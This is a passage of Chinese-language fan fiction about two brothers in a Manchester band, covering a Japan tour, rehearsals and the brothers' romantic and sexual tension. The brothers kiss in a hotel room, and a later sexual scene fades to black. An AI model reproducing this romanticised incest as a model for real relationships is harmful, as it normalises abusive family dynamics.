但是与露易丝的感情不完全是诺尔关注在意的重点,而是他与利亚姆的关系,这让他感到头痛。
利亚姆对他是爱还是恨,或者只是对他的单纯的依恋,毕竟利亚姆只有19岁,他不像诺尔经历了几段感情关系,这个小子到现在都没有一个正式的女友,他会知道什么是男女之间的爱吗?还是说他把对兄弟的爱当做是爱情,毕竟诺尔可没见过哪对兄弟抱在一起亲吻,这太奇怪了,尤其是最近几年诺尔搬出家,利亚姆对他的依赖更加强烈,这让诺尔愈加头疼心烦。
第二天,诺尔带着利亚姆去办了签证,以跟随乐队演出的理由将签证办好。晚上他们一行人坐车来到机场乘坐飞机出发去日本。
“我是第一次去日本,诺尔,你在听吗?”利亚姆拍了拍旁边戴着耳机的诺尔。
“我也是第一次来日本。”诺尔摘下耳机,“我不是聋子我能听到你在说什么,你的声音大的惊人,请将你的音量降低。”
为了让这个聒噪的混蛋闭嘴,他把耳机套在利亚姆的脑袋上。而他,从口袋里掏出一张空白的纸写着歌词。
开头就是,“Shut up, liam is a fooking little bird! ”
他将纸摊开,拿到利亚姆眼前。
“You basted! ”利亚姆笑着骂他。
在飞机上诺尔用他最恶毒的话攻击利亚姆,并将它们写在纸上。这张纸将不会重新回到他的口袋,他这样做只是为了激怒利亚姆。利亚姆的反应不出他所料,对这些写在纸上的内容做鬼脸并瘪着嘴一脸嫌弃。
诺尔用杂志在利亚姆那小子的脑袋上敲了一下,他提醒利亚姆下飞机。
刚出机场,诺尔就感受到日本与英国的不同。现在是晚上十一点,这里的交通很有序,街道虽然人多但很安静,每个人都穿得干净利落。他的视线里可看不见一个流浪汉和醉鬼,这个地方的环境太棒了。
诺尔与利亚姆跟在乐队后面办理了酒店入住,一切的花销由演出的主办方承担。当然,作为一对兄弟,他们被主办方安排到一间房里,不过这次他们两人都有着自己的床铺。
早上七点诺尔的房间就被工作人员敲得邦邦响,所以他只能起床,一切为了工作。他需要为今晚的演出搬设备,以及调试阳台上的架子鼓和吉他。
Fooking job! 诺尔有起床气,他可不会让还在睡觉的利亚姆舒心。所以他把利亚姆叫醒为他工作。
利亚姆被他搞醒,气得直骂他是个脱离工人阶级的资本家,因为他在压榨他弟弟的睡眠时间。
利亚姆是他的亲弟弟,压榨他,诺尔没话说。他可太愿意这样干了,毕竟利亚姆对他来说是免费的劳动力。
诺尔的背在他十五岁时摔过,这让他留下后遗症,每当他搬重物时间过长时,他整个身体都接近散架。他不觉得自己在高强度下能活下来,偷懒就是他的保命技能,他能躲的活他会尽量躲,或者与巡演经理吵一架乘机离开。
而利亚姆的到来代表他可以轻松了,他只需要把自己的工作交给利亚姆做就好了,利亚姆可不会因为他逃避工作而骂他,他的弟弟就是个天使。当然是在某些方面,他可没见过满口喷着脏话的天使。
一直忙到下午两点多钟,巡演经理为他们订了盒饭。这是汉纳姆兄弟第一次吃上寿司,兄弟俩与其他工作人员蹲在一块儿吃着。吃完这顿饭,诺尔今天的工作也结束了,只需等待晚上七点的演出。
“我们应该出去逛逛,诺尔。”利亚姆坐在地上抽着烟。
“你想去哪?”
“我哪儿都可以去,我只是需要去逛逛,然后找个酒吧泡上一个晚上。”他露出他的舌尖,吐出一个烟圈。
“你不能这样做,明天我们会离开这个地方,我可没有时间处理醉酒的你。”
“OK,那我不去酒吧,随便什么地方,我特么要无聊死了。”利亚姆站起,在诺尔身边来回走动,“Rkid, 动起来,陪我一起吧。”
行吧,诺尔的脚动了起来。他与利亚姆走到街道上,寻找着一切能进入的店铺。
“那个怎么样?”利亚姆抬手指着对面一间挂着黑色牌匾的店铺,“这上面写着什么玩意,我们去瞧瞧吧。”
诺尔沉默的跟在他的后面,抽着自己的烟。在看到门上的禁烟标识后,他将烟扔了。走进店铺,这是家当铺,的是二手首饰。
利亚姆在一个钟表展览柜上问,“表上的时间是什么?”
店里的员工听不懂英文,抱歉的双手合十。
利亚姆骂了一句,改变自己的步伐来到他哥旁边。
“这很漂亮。”他凑近诺尔,在他戴着红宝石戒指的无名指上端详。
“它的颜色很漂亮,你应该买下来。”
“我知道。”诺尔打算将戒指取下,但他发现这枚戒指就像胶水一样
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粘在他的手指上。
利亚姆尝试帮助他,拽着戒指金色的圈扣,直到他的手指发出关节的声音。这可把利亚姆吓坏了,他不打算为了这枚戒指把他哥的手指搞断。
他悻悻的笑着,露出他的牙齿,“看来你只能买下它了。”
“这特么150英镑,我是疯了才会买它!”诺尔皱着眉。
“我可以为你买下它,把它作为你下一年的生日礼物。”利亚姆边说边翻动自己的口袋,从里面掏出揉成一团的纸币。
“你怎么会有钱?”诺尔将酸疼的右手揣兜,一脸惊讶的问。
“我在家附近打工,我在电话里对你说过。”
说完,他迫不及待来到柜台,将手里的的钱放在台面上。
诺尔也来了,将右手戴的戒指展示给老板看。
这位老板会说英文,他将英镑整理好,对着利亚姆微笑。
“You are so match, It is a beautiful ring, nice to your boyfriend. ”(你们很般配,这是一枚漂亮的戒指,送给你的男朋友很好。)
利亚姆呆滞。诺尔大笑,他对着老板疯狂的摇头。
利亚姆对着老板说,“我叫利亚姆,他叫诺尔,我们的姓都是汉纳姆,我们是兄弟!”
“Oh …sorry! ”老板向兄弟俩鞠躬,“斯米马赛……”表情带着歉意以及慌乱,他快速打好发票并将零钱退回。
“这很棒,我还得到7英镑。”利亚姆抓着零钱,对着诺尔高兴的说。
“Well, 但你损失了150英镑。”诺尔打开门走出去,终于可以把自己的烟点上。
“给我也来一根。”利亚姆的手伸向诺尔的口袋,从里面掏出一支香烟。
“凑近些。”他这样说,嘴里咬的烟靠近诺尔嘴边。
点上火后,“这不是损失,我的钱只是换了一种形式出现在你的身上。”利亚姆呼出烟雾,抬头望着东京的天空。
“你的钱?现在不是了,这个戒指现在在我的手上,它永远属于我了。”诺尔蹲在旁边,将他戴着红宝石戒指的右手高高举起。阳光落在戒指上,反射出彩虹的光芒,“这真他么漂亮,这是你送给我最值钱的玩意儿。”
利亚姆扬眉,“这不是,我还送过你一张披头士绝版的唱片。”
说起这个,诺尔可不打算藏了。
“我知道那个唱片是你从店铺偷的,你并没有花钱。”诺尔继续,“那个晚上你吸大了,从商店顺走了一张唱片藏到你的衣服里,你把它放在我的床头。当第二天醒来的时候,我发现了,我真的被你吓死了,毕竟我没想到你会送我这个。”
利亚姆笑着蹲在路边,“我当时就是个傻逼,对音乐根本不感兴趣。你看到那张唱片时,我记得你特么的还哭了,哭得像个丑猴子。”
“闭嘴,利亚姆。”诺尔带着腼腆的笑容制止利亚姆继续往下说,他威胁道。
“你不会想让我说出你的糗事吧?你个混蛋,给我闭嘴。”
“Piss off. ”利亚姆站起来,对着他做出鬼脸。
他突然穿过马路,跑到街对面,向他招手,“过来,Rkid, 时间还早呢,我们来这里逛逛。”
这时,红绿灯诡异的卡着点变红了,他只能在路口观看长达70秒的车流。
这几十秒太漫长了,对面的利亚姆还在向他挑衅的招手和吐口水。当红灯变绿后,诺尔快速跑到对面,抓着利亚姆的衣领,在他的屁股上打了一巴掌。
他恶狠狠的说着,“你特么以后还敢这样做,我会把我的手拍到你漂亮的脸上。”
28. 混入日本巡演2
利亚姆凑近说,“你现在就可以打e on。” 他把烟摔到地上踩灭,对他的哥哥嚣张的笑。
“Fuck off,You bastard. ”诺尔转身打算回去旅馆,“我他妈要回去了,我可不想像个傻子一样没有方向的乱逛。”
利亚姆立刻改变脚步方向,“哎哎哎,别那么着急,你不会想把我一个人留在这的,这真特么操蛋!”
利亚姆跑过来贴到他的身后,这让诺尔笑了起来。
“我就知道你会跟过来。”
“Why ?你比我还了解我自己呢?”
“当然,我是你哥。”
“That''s bullshit! ”
“No, it''s not. ”
“你说的所有话全是狗屎,我不会赞同你。世界上只有一个我,只有一个利亚姆,而我是最了解我自己的人。”
利亚姆在他手边走着,边说边拍着自己的胸口。
“别表现得那么傻,Rkid。 ”诺尔尽量不让自己的手往利亚姆玩世不恭的脸上扇,利亚姆有他自己那一套的想法,而与诺尔待在一起的利亚姆会将他的蠢想法表达出来。
“I''m not silly, I''m fucking great! ”利亚姆走到诺尔眼前,将手举到耳朵边上反驳,整个手缩在白色袖子里,有点莫名的娇俏。
诺尔注意到了,“你特么就是个女孩,piss off. ”
利亚姆不说话了,他很生气,他讨厌别人说他像个女孩。他迈着很快的步伐在诺尔前方走着,在没消气前利亚姆不打算与他的哥哥讲话。
当诺尔回到酒店的房间时,比他先到的利亚姆像个傻子一样莫名的躺在木地板上。以这个方式与诺尔对抗,这特么只有利亚姆能干出来了。更重要的是,凭借诺尔对他弟弟的了解,若他不服软,特么的这个混蛋一个下午都不会起来。
他撇了眼还在生着闷气的男孩,脱掉外套躺在一张床上,为自己点了根香烟,穿着鞋的脚踩在床毯上。
“你要过来和我睡个午觉吗?”诺尔指着屁股底下的床,他在对着利亚姆休战求和。
“我有自己的床上。”利亚姆指着脑袋上方垂下来的床单,转头对着诺尔瘪着嘴说。
“我知道,所以你要和我一起睡吗?”
这句话的意思,就算利亚姆再白痴也能听懂,但这听起来像是引诱且有恃无恐,因为诺尔知道利亚姆不会拒绝与他亲近。
果然,利亚姆先是摆出为难的表情然后快速的飞到诺尔的身边,扑到诺尔空余的枕头上。
“你个口是心非的男孩。”诺尔笑着骂他。
利亚姆抬眸,半眯着,“你抓到我了。”他没有拒绝他的哥哥这样说他,意想不到的直白,这就是Rkid。
诺尔歪头盯着他,比划自己搭在床毯的脚,当然他穿着鞋子,提醒道。
“你应该把鞋脱下,东京可没有穿鞋上床的习惯,我不想额外支付清洁费用。”
利亚姆很听话的将鞋脱下扔到地面上,但有一只飞到电视机的顶上,这让诺尔笑出声,他嘲笑他的弟弟。
“你的准头很棒,相信我,你会堪称为世界第一人,有可能还可以申请个吉尼斯纪录。”
诺尔下床,他就像个老妈子一样把电视机柜上的鞋拿下来放地上摆好,稍后他回到床上继续躺着。
他笑着说,“我像我们的妈妈一样跟在你屁股后面收拾,不是吗?”
利亚姆将视线从天花板上放到他哥身上,“你更像是爸爸,我应该叫你一声Dad?”
“千万不要叫,这太恶心了。”诺尔做出呕吐状,他将手里即将燃尽的香烟熄灭后,他突然深深盯着利亚姆,挑着眉将脸靠近他。
“Daddy?”他的语调很轻,像调情,尾音很长,像个羽毛一样在心头挠痒。
利亚姆僵住了,眼神不自觉的飘忽。
“这特么…”他克制不住自己的笑容,“你在和我调情吗?很抱歉,我感受不到一点儿。”
他在说谎,诺尔很了解他,他不觉得利亚姆没有被他吸引,此刻利亚姆的屁股肯定紧张的绷紧了。诺尔注意到利亚姆低下脑袋抿着唇,这小子明明害羞的不得了,却在他面前表现得云淡风轻。
“哎哎哎!”诺尔喉
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咙发出反对的气音。
“滚开。”利亚姆狠声说,他把诺尔的被子夺了去,盖到自己的身上,只露出一个头顶。
“你现在除了躲进被子里,还能干些什么,真特么是个怂蛋。”诺尔对于他躲避话题的伎俩感到唾弃,对着利亚姆的方向露出嘲讽的嘴角。
他不知道为什么突然开起黄色玩笑,他只知道他失控了,他现在的心情很糟糕,因为利亚姆不给他恰当的反应。
“我没有。”
利亚姆将他的眼睛从被子里伸出来说,看到了诺尔向他投来不屑的眼神。这太侮辱人了,不是么,利亚姆被他哥的行为激到了。
“你不是要我给你正确的反应,我现在可以重新表演一下,我TM才没有躲!”
他快速的坐了起来半跪着,将碍事的被子扒拉一边去,他将嘴巴凑近诺尔的耳边,“You bitch! ”
这让面前人震惊,他在骂他?但好像不是,这小子将他的脑袋左转,将唇蹭到诺尔的嘴上。
“你…”诺尔呆住了,虽然这不是第一次发生了,但他还是被吓住了,浑身僵硬的做不出动作。
诺尔想说些什么,利亚姆的舌头就顺着两唇的缝隙钻了进去,在此过程中,男孩眼睛紧闭着,睫毛颤动,他和诺尔一样的紧张,他甚至不敢睁开眼睛看着诺尔。
男孩的吻技很青涩,只在他的唇上舔舐,这让诺尔看不下去。这个时候他把所有的一切抛到脑后,满心想着,“Fuck it!让利亚姆的吻技吃屎去吧,它糟透了!我应该让他见识到真正的吻技。”
诺尔张开嘴,勾住对方的舌尖,又按住对方的脑袋,让他们之间的距离更加贴合。他的脑袋向右转,将舌头闯入对面人的嘴里,彼此的舌头热烈的交缠起来,互相都使着劲,都想用舌头将对方噎死。这场面堪比一场战斗,不让对方咽气不会停止。
时间过去了好久,但其实也就是一分半时间,利亚姆首先放弃,他把胳膊抵在诺尔的胸前,靠着他小声的喘着气。
“你赢了,你特么的在作弊。”
利亚姆将手挡在脸前,掩盖自己失真迷茫的表情,阖着眼不知道想着什么。
29. 利亚姆的乐队邀请
“这对你来说是场游戏?”诺尔靠在床头平缓呼吸,手背无措的擦着嘴角的痕迹。
“我不知道。”利亚姆后知后觉的的出声,他来到床的里侧,望着墙壁对着诺尔说。
“我和你,我们怎么办?”他听起来快要碎了。
“我不知道,我们是兄弟,这我们都知道。”
说完,诺尔沉默起来,摸着额角的鬓发,看起来很严肃。
下一秒利亚姆从他身上跨过去,立马跑到隔壁床上,孩子气不爽地的哼出声。
诺尔望了一阵,突然下定决心。他起身来到窗前把窗帘拉上,这让房间立刻暗下来。他将脚上穿的鞋踢掉,摸到利亚姆的床边上去,贴到男孩的背后,温柔的亲吻男孩的耳后。
”小混蛋,我们还好么?”他的手摩挲着男孩的背,轻声问。
“当然。”
利亚姆转过身与诺尔面对面,对他说着世界上最甜蜜的话,“你知道的,我爱你,不管你怎么说怎么做,我会一直爱你。我想说的是,血缘并没有让我们的关系分离,而是让我们更加紧密,不是么,毕竟你永远是我亲爱的哥哥。”
说完,他打了个哈欠,开口,“我特么被你搞得身心交瘁,我的嘴需要像那个该死的门一样被关上,然后我可以把我的睡眠时间补回来。”
诺尔靠在他旁边的枕头上,终于可以开口,“我知道,你睡吧,我陪你一起。”他伸长脑袋去看座机上呈现的时间,“我们还可以睡上三个小时,睡醒后我得回去工作。”
“好。”利亚姆已经找到舒适的姿势睡觉,他对着诺尔歪头浅笑,摸起身边人的手亲吻他的手指。
诺尔被他可爱死了,利亚姆应该把这招放在女孩身上,而不是他的兄弟身上,但诺尔很高兴他这样做,这给了他极大的安慰,抚平了自己满心的烦躁郁闷。
他摸了把利亚姆有些长的头发,带着笑意与他躺在一起,有一只手靠在男孩的腰间。
房间没有兄弟俩的争执变得安静,在睡觉的时候时间很快一眨眼的功夫,就已经过去二个半小时。
诺尔睡醒后洗了个澡,顺带叫醒利亚姆。在出门时,他给女友露易丝打了电话,告诉他明天将会回到曼切斯特,说他很想她,希望她一切安好。
当然,这些都是当着利亚姆的面,毕竟与他住在同一间房间,诺尔不打算避开利亚姆,他需要这个电话提醒自己与利亚姆,他们需要这个电话,让一切返回正常。但这些记忆会消失么?并不会。
在诺尔打电话期间,利亚姆沉默的在房间内踱步,并带着不明的情绪。
“我们还好么,当然。”这句话就像是放屁一样,因为在晚上的整个期间,利亚姆没有与诺尔说上一句话,他与那些前来搭讪的男男女女亲昵的聊天,像个孔雀一样肆意绽放自己的魅力,并且刻意忽视诺尔。
那诺尔是怎么处理的呢?他什么都没有做。他们一直沉默到回到旅馆,沉默到第二天坐飞机回到曼切斯特,除了彼此的互相告别,他们很有默契的没有说其他的话。给了对方眼神后,他们往完全相反的方向出发,利亚姆回家,而诺尔回他与露易丝的公寓。
到了公寓的诺尔拉着露易丝在床上厮混,直到精疲力尽才停下来。露易丝被他的热情惊到,以她的方式温柔的拥抱抚摸他,默默包容诺尔的情绪。
“你的工作结束了,是么?”露易丝双臂搭在他的肩头。
“是的,又变成无所事事的混子。”诺尔亲吻她的嘴角。
“需要聊聊吗?”带着关切,露易丝的吻落在他的脖子上。
“现在?没有,我很好。”诺尔违心说着,“我们在亲热不是么,你应该专心。”
“好的,我的男孩。”露易丝强势的有所动作,拉着他进行中。
——分界
一个星期后的夜晚,刚从酒吧回到公寓的诺尔接到从家里打来的电话。现在是晚上十点,他的妈妈可不会在这个时候给他打电话,而他的大哥保罗可没闲工夫打扰他,看来只能是利亚姆了,毕竟他是个没心没肺的小混蛋,他可不会想着这个是晚上时间他不应该打电话,也不会想着他会不会打扰到诺尔的休息。
诺尔在电话嘟了三声后,接起。
“利亚姆,你应该明天早上给我打电话。”
“我不管,我有事找你。”
“什么?”
“明天来和我们一起排练吧,求你了诺尔,你知道的,我受不了你一直不理我了,你回来应该好好陪我玩儿,我们可以一起排练。”
“这特么这是个好想法。”
诺尔答应了,这些天他真的无聊到爆了,他需要给自己找点事儿干。
第二天下午他带着电吉他和效果器去找利亚姆一伙人。
利亚姆对他的到来感到高兴,其他成员也是如此。Bonehead(头哥)让出主音吉他的部分给诺尔演奏,因为诺尔觉得节奏吉他的扫弦弹起来很蠢,他可不会让他的指尖按压同一个位置,这对他来说蠢爆了。
“我们应该来首披头士的歌曲。”头哥指着诺尔,“我记得利亚姆说过你喜欢披头士。”
“是的。”诺尔望着吉他弹出欢快的和弦,他抬起脑袋望着抓着话筒的利亚姆,“你想唱哪首歌?”
利亚姆空闲的手拽着发梢的碎发,凑近,“什么?”
他刚刚在走神,听起来迷茫极了。
他们的鼓手Tony打出一个清脆的鼓声嘲讽利亚姆,贝斯手Guigs安静的露出牙齿笑着。
诺尔低下头,对着话筒旁边的人弹奏出类似“呜——嗡”的吉他滑音,听起来轻柔悠长。
利亚姆听出来了,在前奏刚出来时他的眼睛已经笑得眯起来,对着诺尔扬起嘴角。
“这特么是Sally Cinnamon,是我喜欢的石玫瑰的歌!”利亚姆将脸贴着话筒,对着他哥甜蜜的微笑。
诺尔划出最后的滑音,他得意的点着下巴,询问利亚姆,“怎么样?”
“这太棒了。”利亚姆依旧笑着,他向他哥竖起大拇指。
“那我们就练这个吧。”
诺尔一锤定音,并给了Tony一个眼神,他再次划着吉他弦,鼓声慢慢的加入。
在前奏即将结束后,诺尔望向主唱,稍后利亚姆加入他的歌声。
十九岁的利亚姆
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是美好的存在,包括他的歌声,他的歌声同他人一般柔和甜美。
当他唱歌时,你注意到的不是吉他躁动的节奏,也不是鼓声所带来的震动,而是他的嗓音。他的声音太独特了,当你听到了,你的注意力就全在声音上了,忘却了所有的乐器,目光停留在前方漂亮的男孩身上。
同样,虽然诺尔不打算承认,但他的整颗心被这个美好的场面所吸引,灵魂在激动的颤抖,他的目光始终落在利亚姆的身上。
一曲后,诺尔关闭效果器,对着房间的四位成员说。
“这特么真棒,这支乐队很有潜力,我相信你们会出名的。”
头哥首先出声,“我不这样觉得,我们并不会写歌,我们需要找个人帮我们写歌。”说完,他将视线投向Guigs。
Guigs接收到他的暗示,对着诺尔微笑,他提高了音量,确保每个人都能听到。
“不如你加入到我们乐队吧,你会写歌,我想我们很期待你的加入。”说完他指着他们的主唱,“尤其是利亚姆,他每天都在我们面前念叨着你,说你写的歌是多么的棒。”
利亚姆听到了,他不好意思的摸着脖子,“我是说过,毕竟你不陪我一起玩儿。你是我哥哥,你应该加入到我的乐队!”
“好了,让我想想。”诺尔放下吉他,点上一根烟。
说完他走出门,给了利亚姆一个眼神让他跟他一起出去。
站在门外的两人蹲在地上抽烟,身后的三个成员小声的谈论着,除了兄弟俩其他人对现在的情况有些捉摸不透。
“你想我加入吗?”诺尔歪头望着旁边,他的眼睛紧紧盯着利亚姆,不想放过他的一切神情。
“Fooking well! 我当然想你加入,你知道为什么,我不止一次邀请你加入我的乐队。”利亚姆回以一抹内敛的眼神,他咬着烟浅笑,“你知道我什么意思,Rkid。”
“我有思考的时间么?”诺尔缓缓回答,他打算将结果折中一下,不打算显得很急迫。
“不行,我现在需要你的回复,别像个扭捏的娘炮,你想加入就加入,不想就不加入,就是这么简单。”利亚姆皱眉,语气不耐烦。
“操蛋!”诺尔骂了一句,他盯着利亚姆的瞳孔,将他的手搭在男孩的肩上。
“如果我加入了,我要弹主音吉他,我要当BOSS,我会为这支乐队写歌,并且……”
利亚姆贴近他的嘴边,睁大眼睛疑惑问,“并且什么?”
“你一周的时间将有七天属于我。”诺尔扬起他标志性的浓眉,对着利亚姆戏谑的说。
这听起来像个玩笑,但并不是,利亚姆了解诺尔,Rkid 这是来真的。
“这特么怎么可能,我们又不是天天在一起,你要24小时管着我?”利亚姆扒下他的手臂,全身都在抗拒。
“哎哎哎!我并不打算24个小时和你待在一块,毕竟我不是你的保姆。”诺尔抱着利亚姆的脖子继续说,“我的意思是,你与我待在一起的时候,你需要接受我的掌管,我会好好照顾你的不是么,我特么是你的哥哥,你不相信我?”
。”
30. 加入利亚姆乐队
利亚姆沉默,望着手里燃烧的香烟,他缓慢抬头。
“我当然相信,你比我大五岁,我有义务听你的话,不是么?”利亚姆笑了一声,“因为我就是个怪人,我需要有人看管。”
“别这么说…”诺尔语塞,将利亚姆搂在怀里,e on,我会努力陪在你身边。”
“真的?所以你会加入我们?”利亚姆连续问了二次,他的眉毛高兴的扬起来,他将鼻子贴近诺尔的脸颊,一副逼迫某人回答的样子。
在看到诺尔点头后,他拍着手站起来,迫不及待的走进房间告诉乐队的其他成员。
在抽完第二支烟后,诺尔也走进房间。头哥坐在地上与Tony喝着德国啤酒,Guigs与利亚姆窝在音响旁边抽大麻。
“诺尔,所以你现在是BOSS了,我们应该叫你什么?”头哥举起他的啤酒对着诺尔高兴的吼。
“无所谓。”诺尔坐在椅子上事不关己的样子,他对称号很随意。
利亚姆过来了,手臂搭在头哥的脑袋上,“Chief 怎么样?IC 乐队那些人就是这样叫他的,我觉得这个称呼很好。”
Guigs应和,“Chief!这听起来很棒!”
Tony走进,“这很酷……”他将眼神落到诺尔的手上,“Chief, 利亚姆手上戴的戒指和你一样!”
诺尔一怔,将左手抬起来观望,“Fooking stupid ring! 妈妈给我们兄弟买的,保罗的手上也戴着一样的戒指。”
Tony问,“保罗,是你们的大哥?”
“当然。”利亚姆立刻出声,指着自己戴在左手小拇指上的克拉达戒指,“它戴起来漂亮极了,我觉得每个人手上都应该有一枚这样的戒指”
这霸道的发言让诺尔发笑,“不是每个人都是爱尔兰人,你个白痴。”
他们可不想围绕婚戒展开讨论,头哥适当转移话题。
“我们需要庆祝你的加入么?”头哥来到诺尔身边,望着他。
“千万不要,我只是你们乐队临时成员。我没有被IC乐队踢出去,还在那儿当着操蛋的设备管理员,毕竟我需要钱来还房租。”
诺尔说完从头哥手里夺走啤酒,将剩余的酒喝完。
“我要回去了,我的女孩还在家里等我。”诺尔皱鼻轻笑,左手不好意思的摸着脖子。
利亚姆甩着手嘟囔,但他的声音过分大了。
“Fooking bird! 现在是该死的晚上六点,你要急着回家抱女孩吗?”
Guigs和Tony投来不赞同的目光,暗示利亚姆不要挑起争端。
头哥摸着头发打圆场,“诺尔,你先回去吧,他们待会儿也要离开,明天见。”
诺尔意味不明的瞄了利亚姆一眼,潇洒插着兜离开。
“你特么要干什么,利亚姆,你不希望你哥哥留下?”
头哥扶额说,他在利亚姆背上拍了一巴掌以示警告。
Tony很安静的低头望鞋,而Guigs在一旁调笑,他说,“这小子看不得他哥给他扔一边去,毕竟他没有女友,他嫉妒他哥的女孩。”
“A! aaa …”利亚姆不爽的反驳,带着孩子气在房间里乱窜。
“我不会稀罕他的女孩。”利亚姆指着自己的脸,“你们看到这张漂亮的脸蛋嘛,我今晚就去找女孩,我想她们会很乐意!”
“Bullisht! ”
“Fucking hell! ”
其他三人对着自恋的利亚姆大骂,明显不相信他会这么做。因为利亚姆是个害羞的男孩,他害怕与女孩亲热。虽然他总是与酒吧里的男女打成一片,但你相信吗,他还是个没有经历过男女关系的纯洁男孩。
头哥和Tony不屑嘲讽他,因为头哥有位已经处了几年的女友,Tony他都有个女儿了,他们几个可不像利亚姆还是个小男孩。
“如果你尝试过这个滋味,你就是个不一样的男人。”头哥拍着利亚姆的肩头调笑。
“为什么?”利亚姆没懂他的意思,眯着眼迷茫的问。直到Guigs用手指向他的下半身,利亚姆呆住了,他偏头害羞的抿嘴浅笑。
“好了就此打住,我要离开你们这群混蛋!”利亚姆躲开头哥伸向他下半身的手,恼怒道,“把你们的手收回,这是骚扰!”
利亚姆追着他们的屁股后面捶打,他停住脚步,向朋友们比划一个拇指向下嘲讽的姿势。
“我特么要去找我的幸运女孩了,祝我好运。”他说完对着空气举起右手,“你们等着瞧。”
他扔下房间里坏笑的家伙们,迫不及待来到一间酒吧。
利亚姆穿过人群,搭讪一位穿着牛仔外套的金发女郎,她叫塞里尔。两人用眼神互相暗示,当一切顺利进行时,利亚姆带她回家。
“我们动静小点,好么?”利亚姆让女孩坐在床上,小声说着。
“我都可以,这取决于你。”塞里尔勾着嘴角笑道,拉着男孩的腰带。
利亚姆被她拽得一踉跄,他害羞的偏头。
“我没有做过,我会努力的。”
他把上衣脱掉无措的摸着脖子,“我的身材不是很好……”
注意到男孩慌张羞涩的样子,塞里尔搂住他的脖子安慰。
“这还好,我觉得很可爱。”她将男孩拉到床边,将胸脯和唇贴了上去。
唇贴近皮肤的轻微触感让利亚姆发痒,他压抑着笑出来。
e on, girl! 让我为你服务吧。”他把女孩压在身下,唇从女孩的下巴慢慢往下移动,直到她发出难耐的叫声。利亚姆停住了,去寻找女孩包里带的“必需品”。
“你带了吗?”
“当然。”
他在包里翻找,将透明材质的乳胶戴上,一切准备就绪,女孩迎接包容他的到来。
拉灯……
事后。
“我能穿你的衣服吗?”利亚姆光裸着上半身,贴着女孩问。
“什么?”塞里尔虽然疑惑但还是同意了,“当然,你随意。”
利亚姆在她脸上舔了一口,兴奋的拾起地上的牛仔外套穿上,这件外套很漂亮但它的尺码为M,这对于利亚姆过于窘迫。但他还是将自己塞进外套里,穿着它来到女孩的身边。
“看起来怎么样?”他期待询问。
塞里尔鼓励他这种行为,抱着他亲吻,“我觉得棒极了,毕竟你是如此的漂亮!”
利亚姆害羞的甩着袖子,扭捏问,“我会看起来很怪吗?”
“一点也不,我可以为你增添亮色,我的包里有睫毛膏和口红,我可以给你上妆。”
塞里尔快速下床将包拿到床上,掏出睫毛膏。
“闭眼。”她温柔的说。
利亚姆半跪在她腿边,听话的闭上眼睛,长且浓密的睫毛在眼眶投下深深的阴影。
这让女孩感到嫉妒,“你的睫毛比大部分的女孩都长。”她边说边替利亚姆涂睫毛膏。
利亚姆害怕她把褐色膏体戳到眼里,他没有睁开眼,睫毛轻颤。
“这是基因问题,你知道我什么意思,这是天然的。”
“好了,睁开眼睛。”塞里尔抬着他的下巴在他睫毛上吹气。
“很美。”她由衷赞美,捧着利亚姆的脑袋,在他没有反应过来的时候,又拿出口红在他唇上薄涂。利亚姆没有一丝抗拒,享受这个过程。
“去照照镜子吧,你看起来漂亮极了。”塞里尔摸着他的脸,眼神冒着兴奋的光芒。
“Alright …”利亚姆站起光着脚走到房间外面的浴室,在镜子里反复的观看。<
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“我看起来像个该死的洋娃娃!”利亚姆踮着脚来到床边,对着塞里尔控诉。
“Yep!”她兴奋的吼了一声。
“Shut it! ”利亚姆扑过来捂住她的嘴,“我的家孩子睡觉,请安静,求你了。”
在灯光下,利亚姆的眼睛尤其很漂亮,塞里尔屏住呼吸亲吻他的眼皮。
“利亚姆,你真是个该死的宝藏。”
“我知道,我是有女性气质的男性,我并不以此为耻,我喜欢穿漂亮的衣服,也喜欢打扮的漂亮。”利亚姆躲开塞里尔再次亲吻的动作,摸着自己的眉毛,“留下来陪我,明天我们会度过美好的一天。”
“当然。”
她躺在床的里侧,利亚姆贴在她的背后拥着她一起入睡。
第二天,利亚姆接到头哥的电话。
“利亚姆,我们在boardwalk排练。”
ps:boardwalk是曼切斯特的一个小live场地,Bloom乐队在此排练和演出,由诺尔决定。
好了,他哥诺尔一来他们乐队的排练场所都变了,利亚姆带着不爽的情绪向塞里尔吐槽。
“你知道我哥,就是我对你说过的诺尔。他现在不仅接管了乐队,还接管了写歌,这特么操蛋极了!”
“你应该高兴,毕竟你可以偷懒。”塞里尔在一旁坏笑,“毕竟你哥管不到你,不是嘛?”
利亚姆的上嘴唇嘴都要噘到天上去了,他不爽地说,“我不知道,他现在是Chief, 我需要听他的话。”
“好吧,没想到你在他面前还是个乖孩子。”塞里尔讪笑,显然不相信利亚姆会听他哥的话,毕竟他是坏男孩的代表。
她继续说,“我能去看你们的排练吗?”
“当然,你是我的女孩,你应该像胶水一样黏在我身上。”
“你的朋友会反对吗?”
“他们不敢说你什么,毕竟我是他们的主唱,我会维护你。”
当利亚姆带着塞里尔来到boardwalk时,诺尔在台上摆弄他的吉他和弦。他看到利亚姆身后的女孩,手里的拨片在琴弦上划出刺耳的“刺啦”声。
头哥和Guigs不解的望向吉他手,Tony也停下他的动作,在听到利亚姆的声音后,四人齐齐望向姗姗来迟的人。
“你真干了?到这边来,我们好好聊聊。”头哥向利亚姆和女孩招手,他们三人在音响箱前面坐着。
“他们在聊什么?”诺尔咬着烟问。
“再聊昨天晚上的屁事儿,利亚姆昨晚与女孩过夜了。”Guigs抱着贝斯走近,他拍打着诺尔的肩头,示意他望向利亚姆方向。
“Fucking hell ,这对他来说是第一次,这真特么值得庆祝!”诺尔将烟吐出去,散落的烟灰飘到他的吉他上,这让他心情更加糟糕。他顺着Guigs手指的方向望去,嘴角的弧度僵住,他努力不让面上的愤怒表现出来。
利亚姆坐在音箱上,而那个不知名的女孩坐在空旷的地上,利亚姆低头伸着脖子与女孩亲吻,坐在他们旁边的头哥对此鼓掌大笑。
“Shut it! 我不清楚这有什么好笑的。”诺尔指着头哥控斥。
Guigs站在旁边摇着头,而Tony收回他的笑声,他的表情不自然,对着诺尔说,“你特么真会破坏气氛,我们要对利亚姆宽容,他值得我们这样做。”
“利亚姆就是个混蛋,你们都知道,他把女孩带到排练室,我明天是不是也可以带上我的女孩,与他来场多人约会?”诺尔放下吉他,把它立在墙边。
他继续说,“我TM受够了。”
说完,他离开了,留下闷逼的Guigs和Tony。从利亚姆进入房间才三分钟不到,诺尔就不知道因为什么原因离开,这特么太离谱了。
31. 他的勾引
这时候,利亚姆的屁股从音箱上离开,搂着塞里尔的脖子走到Tony旁边。
“Rkid在哪?”
“他刚离开。”
